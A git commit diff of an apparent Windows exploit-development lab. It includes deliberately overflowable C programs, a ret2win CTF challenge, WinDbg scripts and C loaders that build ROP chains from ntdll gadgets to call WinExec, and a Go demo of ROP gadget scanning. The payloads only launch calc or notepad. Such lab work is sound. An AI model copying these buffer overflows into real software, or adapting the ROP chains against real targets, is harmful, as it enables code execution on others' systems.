v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Bash(find / -iname \"winpwn*\" -not -path \"*/node_modules/*\" 2>/dev/null | head -50)"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// Функция для парсинга PEB и поиска WinExec
|
||||
FARPROC FindWinExec() {
|
||||
// Получаем PEB через FS регистр
|
||||
#ifdef _WIN64
|
||||
PPEB pPEB = (PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
PPEB pPEB = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
|
||||
// Получаем LDR (Loader Data)
|
||||
PPEB_LDR_DATA pLDR = pPEB->Ldr;
|
||||
|
||||
// Проходим по списку загруженных модулей
|
||||
LIST_ENTRY* pModuleList = &pLDR->InMemoryOrderModuleList;
|
||||
LIST_ENTRY* pEntry = pModuleList->Flink;
|
||||
|
||||
// Ищем kernel32.dll
|
||||
while (pEntry != pModuleList) {
|
||||
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||
|
||||
// Проверяем имя модуля
|
||||
WCHAR* moduleName = pModule->BaseDllName.Buffer;
|
||||
if (moduleName && wcsstr(moduleName, L"kernel32.dll")) {
|
||||
HMODULE hKernel32 = (HMODULE)pModule->DllBase;
|
||||
|
||||
// Ищем WinExec в kernel32.dll
|
||||
FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec");
|
||||
if (pWinExec) {
|
||||
printf("[+] Found WinExec at: 0x%p\n", pWinExec);
|
||||
return pWinExec;
|
||||
}
|
||||
}
|
||||
pEntry = pEntry->Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Функция для открытия и парсинга .exe файла
|
||||
void ParseExeFile(const char* filename) {
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("[-] Failed to open file: %s\n", filename);
|
||||
return;
|
||||
}
|
||||
|
||||
// Читаем DOS заголовок
|
||||
IMAGE_DOS_HEADER dosHeader;
|
||||
DWORD bytesRead;
|
||||
if (!ReadFile(hFile, &dosHeader, sizeof(dosHeader), &bytesRead, NULL)) {
|
||||
printf("[-] Failed to read DOS header\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Проверяем сигнатуру DOS
|
||||
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
printf("[-] Invalid DOS signature\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Переходим к PE заголовку
|
||||
SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN);
|
||||
|
||||
// Читаем PE сигнатуру
|
||||
DWORD peSignature;
|
||||
ReadFile(hFile, &peSignature, sizeof(peSignature), &bytesRead, NULL);
|
||||
|
||||
if (peSignature != IMAGE_NT_SIGNATURE) {
|
||||
printf("[-] Invalid PE signature\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Читаем файловый заголовок
|
||||
IMAGE_FILE_HEADER fileHeader;
|
||||
ReadFile(hFile, &fileHeader, sizeof(fileHeader), &bytesRead, NULL);
|
||||
|
||||
printf("[+] File is a valid PE executable\n");
|
||||
printf("[+] Number of sections: %d\n", fileHeader.NumberOfSections);
|
||||
printf("[+] Size of optional header: %d\n", fileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// Читаем опциональный заголовок
|
||||
IMAGE_OPTIONAL_HEADER32 optionalHeader;
|
||||
ReadFile(hFile, &optionalHeader, sizeof(optionalHeader), &bytesRead, NULL);
|
||||
|
||||
printf("[+] Entry point: 0x%X\n", optionalHeader.AddressOfEntryPoint);
|
||||
printf("[+] Image base: 0x%X\n", optionalHeader.ImageBase);
|
||||
|
||||
// Читаем секции
|
||||
printf("\n[+] Sections:\n");
|
||||
for (int i = 0; i < fileHeader.NumberOfSections; i++) {
|
||||
IMAGE_SECTION_HEADER sectionHeader;
|
||||
ReadFile(hFile, §ionHeader, sizeof(sectionHeader), &bytesRead, NULL);
|
||||
|
||||
printf(" %s - VA: 0x%X, Size: 0x%X\n",
|
||||
sectionHeader.Name,
|
||||
sectionHeader.VirtualAddress,
|
||||
sectionHeader.SizeOfRawData);
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
// Функция-победитель (win)
|
||||
void win(void) {
|
||||
printf("flag{ret2win_but_its_WINDOWS}\n");
|
||||
|
||||
// Находим WinExec через PEB
|
||||
FARPROC pWinExec = FindWinExec();
|
||||
if (pWinExec) {
|
||||
// Запускаем калькулятор через WinExec
|
||||
typedef void (*WinExec_t)(LPCSTR, UINT);
|
||||
WinExec_t WinExec_func = (WinExec_t)pWinExec;
|
||||
WinExec_func("mspaint.exe", SW_SHOW);
|
||||
printf("[+] paint launched!\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Уязвимая функция
|
||||
void vulnerable_function() {
|
||||
char buf[16];
|
||||
|
||||
printf("enter your data:\n");
|
||||
scanf("%s", buf);
|
||||
|
||||
printf("try again\n");
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
printf("=== Windows Buffer Overflow CTF Challenge ===\n\n");
|
||||
|
||||
// Если передан аргумент, парсим .exe файл
|
||||
if (argc > 1) {
|
||||
printf("[*] Parsing PE file: %s\n", argv[1]);
|
||||
ParseExeFile(argv[1]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
// Демонстрируем поиск WinExec через PEB
|
||||
printf("[*] Finding WinExec via PEB parsing...\n");
|
||||
FARPROC pWinExec = FindWinExec();
|
||||
if (pWinExec) {
|
||||
printf("[+] WinExec found at: 0x%p\n", pWinExec);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Вызываем уязвимую функцию
|
||||
vulnerable_function();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
void copy(const char *p)
|
||||
{
|
||||
char buffer[40];
|
||||
strcpy(buffer, p);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc != 2) return 1;
|
||||
|
||||
copy(argv[1]);
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,17 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp 7ff8072a8820
|
||||
g
|
||||
r rsp
|
||||
!teb
|
||||
gu
|
||||
r rax
|
||||
!gle
|
||||
q
|
||||
@@ -0,0 +1,14 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp 7ff8072a8820
|
||||
g
|
||||
da 14fe80
|
||||
r rcx,rdx
|
||||
q
|
||||
@@ -0,0 +1,15 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 63 61 6c 63 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp 7ff8072a8820
|
||||
g
|
||||
gu
|
||||
r rax
|
||||
!gle
|
||||
q
|
||||
@@ -0,0 +1,14 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp kernelbase!CreateProcessInternalW
|
||||
g
|
||||
r rcx,rdx,r8,r9
|
||||
du poi(rdx)
|
||||
q
|
||||
@@ -0,0 +1,17 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp kernelbase!CreateProcessInternalW
|
||||
g
|
||||
r rcx,rdx
|
||||
g
|
||||
r rcx,rdx
|
||||
g
|
||||
r rcx,rdx
|
||||
q
|
||||
@@ -0,0 +1,98 @@
|
||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
const target = "simple_rop.exe";
|
||||
|
||||
func main() {
|
||||
pe, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("OpenPE: %v", err)
|
||||
}
|
||||
defer pe.Close()
|
||||
|
||||
is64, _ := pe.Is64Bit()
|
||||
base, _ := pe.ImageBase()
|
||||
entry, _ := pe.EntryPoint()
|
||||
fmt.Printf("=== %s ===\n", target)
|
||||
fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry)
|
||||
|
||||
// --- checksec ---
|
||||
cs, err := pe.Checksec()
|
||||
if err != nil {
|
||||
log.Fatalf("Checksec: %v", err)
|
||||
}
|
||||
fmt.Println("--- checksec ---")
|
||||
fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR)
|
||||
fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA)
|
||||
fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP)
|
||||
fmt.Printf("CFG: %v\n", cs.CFG)
|
||||
if cs.SEHApplicable {
|
||||
fmt.Printf("SafeSEH: %v\n", cs.SafeSEH)
|
||||
} else {
|
||||
fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)")
|
||||
}
|
||||
fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic)
|
||||
fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned)
|
||||
fmt.Println()
|
||||
|
||||
// --- section entropy / packing ---
|
||||
fmt.Println("--- sections ---")
|
||||
for _, sec := range pe.Sections() {
|
||||
entropy, _ := sec.Entropy()
|
||||
fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n",
|
||||
sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy)
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// --- IAT: what does this binary already pull in? ---
|
||||
fmt.Println("--- interesting imports ---")
|
||||
for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} {
|
||||
imp, err := pe.FindImport(name)
|
||||
if err != nil {
|
||||
fmt.Printf("%-16s not imported\n", name)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA)
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// --- EAT: does this binary export anything (e.g. a win() for ROP)? ---
|
||||
exports, err := pe.ListExports()
|
||||
if err == nil {
|
||||
fmt.Printf("--- exports (%d) ---\n", len(exports))
|
||||
for _, e := range exports {
|
||||
if e.ForwardTarget != "" {
|
||||
dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget)
|
||||
fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn)
|
||||
} else {
|
||||
fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
log.Fatalf("NewROP: %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
fmt.Println("--- gadgets ---")
|
||||
if g, err := rop.Search("pop rcx ; ret"); err == nil {
|
||||
fmt.Printf("pop rcx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,67 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
char payload[] = {
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xF8\x0E\x7E\x77"
|
||||
};
|
||||
|
||||
char commandLine[] = "bof.exe ";
|
||||
|
||||
size_t neededSize = strlen(commandLine) + strlen(payload) + 1;
|
||||
|
||||
char* fin = (char*)malloc(neededSize);
|
||||
|
||||
snprintf(fin, neededSize, "%s%s", commandLine, payload);
|
||||
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
BOOL success = CreateProcessA(
|
||||
NULL, // Имя модуля (используем командную строку)
|
||||
fin, // Командная строка (включая аргументы)
|
||||
NULL, // Атрибуты безопасности процесса
|
||||
NULL, // Атрибуты безопасности потока
|
||||
FALSE, // Наследование дескрипторов
|
||||
0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
|
||||
NULL, // Окружение
|
||||
NULL, // Текущий каталог
|
||||
&si, // Указатель на STARTUPINFO
|
||||
&pi // Указатель на PROCESS_INFORMATION
|
||||
);
|
||||
|
||||
/* if (!success) {
|
||||
printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
|
||||
printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
|
||||
|
||||
|
||||
printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
|
||||
getchar();
|
||||
|
||||
// Оживляем главный поток процесса
|
||||
printf("[*] Возобновление потока...\n");
|
||||
ResumeThread(pi.hThread);
|
||||
*/
|
||||
// Закрываем дескрипторы (они больше не нужны нашему лоадеру)
|
||||
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
|
||||
free(fin);
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,139 @@
|
||||
// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64).
|
||||
//
|
||||
// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry
|
||||
// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and
|
||||
// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec),
|
||||
// so instead we launch the target as our own debuggee, let the harmless placeholder
|
||||
// argv[1] overflow the saved return address as usual, then - right before the `ret`
|
||||
// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has
|
||||
// no null-byte restriction at all.
|
||||
//
|
||||
// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off):
|
||||
// [0..7] "calc.exe"
|
||||
// [8] 0x00
|
||||
// [56..63] &(pop rcx; ret) <- overwritten saved return address
|
||||
// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe")
|
||||
// [72..79] &(pop rdx; pop r11; ret)
|
||||
// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL)
|
||||
// [88..95] 0 <- popped into R11 (unused)
|
||||
// [96..103]&WinExec <- final ret target
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TARGET_EXE "bof_noASLR_noCANARY.exe"
|
||||
#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL)
|
||||
#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL)
|
||||
#define RET_OFFSET 56
|
||||
|
||||
// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves)
|
||||
#define POP_RCX_RET_RVA 0x1a853
|
||||
#define POP_RDX_POP_R11_RET_RVA 0x8cc27
|
||||
|
||||
int main(void) {
|
||||
char placeholder[71];
|
||||
memset(placeholder, 'A', 70);
|
||||
placeholder[70] = '\0';
|
||||
|
||||
char cmdline[256];
|
||||
snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder);
|
||||
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
|
||||
DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
|
||||
printf("[-] CreateProcess failed: %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
|
||||
if (!hNtdll || !hK32) {
|
||||
printf("[-] failed to resolve module handles\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll;
|
||||
ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA;
|
||||
ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA;
|
||||
ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec");
|
||||
|
||||
printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase);
|
||||
printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet);
|
||||
printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret);
|
||||
printf("[*] WinExec: 0x%p\n", (void*)winExec);
|
||||
|
||||
BYTE origByte = 0;
|
||||
SIZE_T bytesIO;
|
||||
BOOL patched = FALSE;
|
||||
DEBUG_EVENT dbg;
|
||||
|
||||
while (WaitForDebugEvent(&dbg, INFINITE)) {
|
||||
DWORD contStatus = DBG_CONTINUE;
|
||||
|
||||
if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
|
||||
ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
||||
BYTE int3 = 0xCC;
|
||||
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO);
|
||||
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
||||
if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile);
|
||||
}
|
||||
else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
|
||||
EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord;
|
||||
|
||||
if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT &&
|
||||
er->ExceptionAddress == RET_INSN_ADDR) {
|
||||
|
||||
patched = TRUE;
|
||||
printf("[+] hit breakpoint at copy()'s ret, patching stack...\n");
|
||||
|
||||
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
||||
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
||||
|
||||
CONTEXT ctx;
|
||||
memset(&ctx, 0, sizeof(ctx));
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR;
|
||||
SetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
const char *cmd = "notepad.exe";
|
||||
BYTE chain[104];
|
||||
memset(chain, 0, sizeof(chain));
|
||||
memcpy(chain, cmd, strlen(cmd) + 1);
|
||||
|
||||
ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET);
|
||||
p[0] = popRcxRet;
|
||||
p[1] = BUF_ADDR;
|
||||
p[2] = popRdxR11Ret;
|
||||
p[3] = 1;
|
||||
p[4] = 0;
|
||||
p[5] = winExec;
|
||||
|
||||
WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO);
|
||||
FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain));
|
||||
|
||||
printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO);
|
||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
|
||||
printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode);
|
||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
||||
break;
|
||||
}
|
||||
|
||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus);
|
||||
}
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user